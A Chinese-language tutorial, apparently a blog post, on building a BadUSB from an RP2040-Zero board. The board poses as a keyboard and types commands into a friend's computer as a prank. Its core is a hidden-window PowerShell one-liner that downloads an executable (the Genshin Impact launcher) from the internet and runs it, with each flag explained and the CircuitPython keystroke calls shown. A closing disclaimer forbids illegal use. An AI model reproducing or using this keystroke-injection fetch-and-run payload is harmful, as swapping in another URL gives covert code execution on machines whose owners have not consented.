用 RP2040-Zero 实现原神自由!
把一块 rp2040 板子插到电脑上,十几秒后,屏幕上冒出原神安装包的下载进度条,接着 miHoYo Launcher 的图标出现在桌面。想不想用这个小技能造福你的好兄弟?好好看好好学~
为什么是 RP2040-Zero
RP2040 是树莓派的双核 Cortex-M0+ 芯片,微雪的 RP2040-Zero 把它做成了一块比 U 盘还小一圈的板子:2MB Flash、USB-C 口、板载一颗 WS2812,外加 BOOT 和 RESET 两个按键,自带原生 USB 控制器。插到电脑上时,它可以把自己描述成一个标准键盘,电脑检测不到异常,只会看到一个人畜无害的 HID 设备。欸🤓,这样一来就可以安安全全地搞点小恶作剧了不是?
准备清单
| 物品 | 说明 |
|---|---|
| RP2040-Zero | 一块 |
| USB-C 线 | 必须能传数据,纯充电线会让人白忙半小时 |
| CircuitPython 固件 | 官网下载 Raspberry Pi Pico |
| adafruit_hid 库 | 解压后放进 lib/ 目录 |
第一步:刷固件(也可以让Ai直接写入,解放双手)
按住板子上的 BOOT 键不放,插上 USB。电脑上会出现一个叫 RPI-RP2 的 U 盘,把下载好的 .uf2 拖进去,板子自动重启,出现 CIRCUITPY 盘就成功了。
型号选 Raspberry Pi Pico 就行,RP2040-Zero 的芯片和 Flash 都对得上。
第二步:装库、写脚本
从 CircuitPython 官方库包里,把整个 adafruit_hid 文件夹拷到 CIRCUITPY/lib/ 下。少了这个库,usb_hid 那层帮你组织按键的代码就跑不起来。
脚本做成 CIRCUITPY/code.py,板子每次上电都会自动执行它。名字一定要对应好【code.py】,不然应该是没法正常运行噢
第三步:设计脚本
出于安全考虑,badusb的具体实现原理不方便完整展示,说下简单思路吧:键盘映射、模拟输入、等待下载、运行。具体可以分步骤问问AI实现原理,或者看github:https://github.com/luoluo13/Hardware-code-repository
核心代码:
powershell -w h -c "iwr [https://hyp-webstatic.mihoyo.com/hyp-client/hyp_cn_setup_1.0.5.exe](https://hyp-webstatic.mihoyo.com/hyp-client/hyp_cn_setup_1.0.5.exe) -o $env:temp\mhy.exe; start $env:temp\mhy.exe"
逐个拆开看:-w h 让 PowerShell 窗口不显示;iwr 是 Invoke-WebRequest 的简写;-o 把文件存进临时目录;最后的 start 直接运行它。
在 CircuitPython 里把它写成一行字符串交给 type_text(),路径里的反斜杠记得转义成 \\,敲完补一个回车:
type_text(kbd, cmd)
tap(kbd, 0, KEY_ENTER)
跑通之后,CircuitPython 的串口终端会打印一行:
started download of miHoYo launcher
想重跑一遍,按一下板子上的 RESET 键,code.py 会自动重新执行,不用拔插。
最后!!补充一个宇宙安全声明:badusb是一种威力极强的技术,很容易被作用于非法途径。本教程以一个简单的恶作剧介绍badusb和rp2040开发板,仅用于学习交流,严禁用于任何非法途径,违者后果自负!